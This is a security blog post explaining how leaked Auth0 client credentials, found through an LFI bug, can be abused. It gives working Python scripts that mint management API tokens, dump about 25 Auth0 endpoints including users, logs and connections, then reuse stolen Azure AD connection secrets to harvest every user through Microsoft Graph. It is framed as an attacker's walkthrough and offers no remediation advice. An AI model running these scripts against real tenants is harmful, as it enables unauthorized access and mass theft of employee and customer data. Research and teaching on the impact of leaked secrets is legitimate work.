So you found Auth0 secrets, now what?

Matthew Keeley
December 19, 2023

Introduction

Hey everyone! Exciting times, huh? So, you stumbled upon an LFI vulnerability that unveiled some magical Auth0 credentials. Now, what’s the next move? In this blog post, I’ll guide you through some paths of compromise and, of course, the journey from credential discovery to compromising networks.

Before jumping right into it, let’s quickly talk about what Auth0 is and how its credentials can be leaked.

What is Auth0?

Auth0 serves as an advanced system for authentication and authorization, ensuring secure access to applications and APIs. It simplifies the login process for developers through features like single sign-on (SSO) and multi-factor authentication (MFA). Compatible with a wide range of technologies and platforms, Auth0 can secure both web and mobile applications. It functions as a unified solution, streamlining identity management and aiding developers in implementing single sign-on (SSO) without hassle.

Finding Auth0 Credentials

Discovering Auth0 credentials can be as straightforward as exploiting Local File Inclusion (LFI) vulnerabilities. In this example, we’ll demonstrate how an attacker might leverage a vulnerable PHP script to obtain Auth0 credentials.

Consider a scenario where the application stores Auth0 credentials in a configuration file named config.php:

// config.php
$auth0ClientId = "your_client_id";
$auth0ClientSecret = "your_client_secret";
$auth0Domain = "your_auth0_domain";

Now, let’s assume there’s a vulnerable PHP script, say vulnerable.php, that includes files based on user input:

// vulnerable.php
$userInput = $_GET['file'];  // User input not properly sanitized
include($userInput);


If an attacker manipulates the user input by navigating to vulnerable.php?file=config.php, the code will include the config.php file, exposing the Auth0 credentials.

Now, this is a basic example, but you get the point. LFI, RCE, heck, even SSRF in some cases can leak the Auth0 credentials. Understanding these vulnerabilities sets the stage for the next crucial step: What do you do now that you have these Auth0 credentials?

Now what?

Now that we have valid Auth0 credentials, its time to perform reconnaissance! First we need to generate a valid JWT token so we can interact with the Auth0 API. Take a look at the following code snippet:

# Code snippet for generating JWT token
def generate_creds():
    data = {
        "grant_type": "client_credentials",
        "client_id": "fill_me",
        "client_secret": "fill_me",
        "audience": "https://prodefense.auth0.com/api/v2/",
    }

    r = requests.post(f"{login_endpoint}/oauth/token", data=data)
    creds = json.loads(r.text)
    
    with open("creds.json", "w") as f:
        json.dump(creds, f)
    
    return creds

This function will use the client_id and client_secret identified by the LFI bug and return a valid valid JWT token — our golden ticket into the Auth0 API.

Now lets start dumping all the things!

# Code snippet for dumping information 
def dump_info(headers):
    endpoints = [
        "/api/v2/emails/provider",
        "/api/v2/device-credentials",
        "/api/v2/client-grants",
        "/api/v2/branding",
        "/api/v2/blacklists/tokens",
        "/api/v2/attack-protection/breached-password-detection",
        "/api/v2/actions/actions",
        "/api/v2/clients",
        "/api/v2/connections",
        "/api/v2/custom-domains",
        "/api/v2/grants",
        "/api/v2/hooks",
        "/api/v2/keys/signing",
        "/api/v2/log-streams",
        "/api/v2/logs",
        "/api/v2/organizations",
        "/api/v2/prompts",
        "/api/v2/resource-servers",
        "/api/v2/roles",
        "/api/v2/rules",
        "/api/v2/rules-configs",
        "/api/v2/stats/active-users",
        "/api/v2/stats/daily",
        "/api/v2/tenants/settings",
        "/api/v2/users"
    ]

    for endpoint in endpoints:
        r = requests.get(login_endpoint + endpoint, headers=headers)
        print(r.status_code, endpoint)
        with open(endpoint.split("/")[-1] + ".json", "w") as f:
            json.dump(json.loads(r.text), f, indent=2)

The function above will run through all the Auth0 management API endpoints and dump the information into JSON files. These JSON files encapsulate a wealth of Auth0 information, with the details outlined in the Auth0 management docs.

Execution of the dump function

Lets start diving into a few of these JSON files.

Note: Even through I created a sandbox to perform this research, I'm still redacting the uuids

1. Users.json

This JSON file exposes all the information of about 50 users in the org (implement pagination if you want all of them). The information includes full name, IP address and last login:

[  {    "created_at": "2020-09-03T34:32:30.255Z",    
"email": "mkeeley@prodefense.io",    
"email_verified": true,    
"family_name": "Keeley",    
"given_name": "Matthew",    
"groups": [      
"Everyone",      
"Finance",      
"Accounting",      
"Remote"],
    "identities": [
      {
        "user_id": "ProDefense-Okta|randomid",
        "provider": "oidc",
        "connection": "ProDefense-Okta",
        "isSocial": false
      }
    ],
    "idp": "7687s6adfasjjsdaf",
    "jti": "ID.hjsaidf73nakjnedf7h3fnlsd73fs3f",
    "locale": "US",
    "middle_name": "Goober",
    "name": "Matthew Keeley",
    "nickname": "Matt",
    "picture": "https://s.gravatar.com/avatar/random_image.png",
    "preferred_username": "mkeeley@prodefense.io",
    "updated_at": "2023-12-09T21:07:15.210Z",
    "user_id": "oidc|ProDefense-Okta|randomid",
    "ver": 1,
    "zoneinfo": "America/Phoenix",
    "last_login": "2023-12-09T21:07:15.210Z",
    "last_ip": "2600:123:524:435::3b",
    "logins_count": 666
  }]

As remote work is the normal situation today, the exposure of employee IP addresses is a larger privacy risk than it was when everyone shared the same office IP. With the last_ip leaked above, an attacker would be able to dox a company’s employees, location-based spear phish them, or even perform direct denial of service attacks against them!

2. Logs.json

This JSON file shows the Auth0 logs! Here we can see what clients are authenticating and where from. If you had multiple clients logging into a SaaS product, this is where you would find those logs.

{
  "date": "2023-12-09T21:17:09.385Z",
  "type": "seccft",
  "description": "",
  "connection_id": "",
  "client_id": "hjaskdfhkasjdhf7y23rbrdjaf",
  "client_name": "ProDefense",
  "ip": "137.666.666.666",
  "user_agent": "Python Requests 2.28.0 / Other 0.0.0",
  "details": {
    "actions": {
      "executions": [
        "20fwe_bfasdfasdjhf89nasfd0"
      ]
    }
  },
  "hostname": "prodefense.auth0.com",
  "user_id": "",
  "user_name": "",
  "audience": "https://secretmanager.prodefense.io",
  "scope": "files:read transactions:read creditcards:read",
  "log_id": "28139740912734091287340918237409128305678120364",
  "_id": "28139740912734091287340918237409128305678120364"
}

3. Client-grants.json

Now we are getting into the fun stuff! Auth0 client grants are a way to delegate permissions or scopes to a client application so that it can request access tokens with specific capabilities. In Auth0, a client grant is essentially a predefined set of permissions that can be assigned to a client

{
    "id": "cgr_hdwe7hdw9hdwejuh8",
    "client_id": "7N7HF2987HFSUD79HF",
    "audience": "https://salescrm.prodefense.io",
    "scope": [
      "paymentmethods:read",
      "clients:read",
      "transactions:read",
    ]
  }

Take this client grant for example. My application (identified by the client_id 7N7HF2987HFSUD79HF) would have the ability to request access tokens with specific scopes when interacting with https://salescrm.prodefense.io.

That being said, this client grant would give an attacker access to read payment methods, clients, and transactions within the specified audience (https://salescrm.prodefense.io). Pretty cool right!? Now lets take it a step further….

4. Connections.json

If you have made it this far, you are in for a treat. There's a ugly truth about Auth0, if your client_id and client_secret is compromised, so are your connections.

In the realm of Auth0, connections serve as configurations that dictate how users can log in to your applications. Each connection represents either an identity provider (IdP) or a username-password database where user credentials are securely stored. Auth0 offers extensive support for various identity providers including Google Workspace, Microsoft Azure AD, and Ping Federate, not to mention the flexibility of custom databases.

Now, imagine this: What if we could reverse the perspective and explore potential vulnerabilities in the environments of clients who should have authorized access to your own environment? Let’s look at the JSON below to unravel this concept further.

{
  "id": "con_FDS8H3DHLSD7FHA",
  "options": {
    "domain": "customer.com",
    "client_id": "a8hasodf-asda-asd-asda-8j3daojd",
    "use_wsfed": false,
    "app_domain": "login.prodefense.io",
    "ext_groups": true,
    "ext_profile": true,
    "identity_api": "microsoft-identity-platform-v2.0",
    "basic_profile": false,
    "client_secret": "83faej00jafe0j39af0s9u0jafd",
    "tenant_domain": "customer.com",
    "waad_protocol": "openid-connect",
    "domain_aliases": [
      "prodefense.io"
    ],
    "api_enable_users": true,
    "ext_nested_groups": true,
    "useCommonEndpoint": false,
    "should_trust_email_verified_connection": "never_set_emails_as_verified"
  },
  "strategy": "waad",
  "name": "AzureAD-898sadf",
  "is_domain_connection": false,
  "show_as_button": false,
  "display_name": "Azure SSO",
  "realms": [
    "AzureAD-898sadf"
  ]
}

In this scenario, the domain above customer.com functions as a connection of ProDefense. Essentially, any user within the Azure AD environment at customer.com has the green light to log in to my application using the app_domain login.prodefense.io.

Note: The specific applications a connection can login to is dictated by Auth0 configuration settings.

Additionally, this connection gives ProDefense the authority to oversee customer.com users through the api_enable_users. Now, before we dive into the technical weeds, it’s crucial to highlight that these connections come equipped with a client_id and client_secret — an aspect can attacker will exploit.

Escalating with Connections

Now that we’ve found the client_id and client_secret of the connection, let’s take control of the connection’s Azure environment. Here’s my step-by-step process, laying out the exploits and actions an attacker can execute.

Authentication to Microsoft Azure AD

To infiltrate the Azure AD environment, we need to generate an access token by logging in with the stolen credentials.

# Login to Azure AD environment
def generate_token(domain, id, secret):
    client_domain = f"https://login.microsoftonline.com/{domain}/oauth2/token"
    data = {
        "grant_type": "client_credentials",
        "client_id": id,
        "client_secret": secret,
        "resource": "https://graph.microsoft.com"
    }
    r = requests.post(client_domain, data=data)
    access_token = json.loads(r.text).get('access_token')
    return access_token

The function above gives us an access token, handy for working with the Microsoft Graph API. Think of the Graph API as Microsoft’s tool belt — it’s a versatile, RESTful web API that lets us connect with a TON of Microsoft 365 services. While there are too many services to list here, if you’re eager to explore and dump all the info (similar to the Auth0 script), check out this API documentation: Microsoft Graph Explorer. And hey, if you create a script, feel free to share it with me! 😊

Fetching all Azure Users

To gather intelligence on Azure users, we can use the following Python function:

# Getting all users in Azure (and with pagnation)
def get_users(token, tenant_domain):
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json",
    }
    all_users = []
    url = "https://graph.microsoft.com/v1.0/users"
    while url:
        r = requests.get(url, headers=headers)
        users_data = r.json().get('value', [])
        all_users.extend(users_data)
        url = r.json().get('@odata.nextLink')
    with open(f"{tenant_domain}_all_users.json", "w") as f:
        json.dump(all_users, f, indent=2)

This function fetches all Azure users and stores the data in a JSON file for further analysis like so:

// Sample JSON Azure Users Data
{
  "users": [
    {
      "id": "12345678-90ab-cdef-1234-567890abcdef",
      "displayName": "Matthew Keeley",
      "userPrincipalName": "user1@customer.com",
      "businessPhone": "+1234567890",
      "givenName": "Matthew",
      "jobTitle": "Security Engineer"
      // Other user attributes
    }
  ]
}

While this data isn't all that useful in terms of escalation, its still pretty impactful that a connections users can be retrieved from a leaked set of Auth0 credentials.

Closing Thoughts

What now? We’ve successfully compromised the connections network, gaining access to Azure resources, sensitive data, and system configurations. The possibilities are vast — we can do anything within the Azure environment. Picture a sysadmin somewhere sweating bullets over a new user being created with administrative privileges. Or the company’s financial information, once securely stored in One Drive, now exposed on BreachForums — potentially leading to insider trading and a cascade of detrimental consequences. Yikes…

To those of you who read this in its entirety, thank you! I hope you find it valuable. Feel free to reach out on LinkedIn or Twitter for a chat. Peace!

Subscribe to our blog

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.
Matthew Keeley
January 21, 2024

Check out our other posts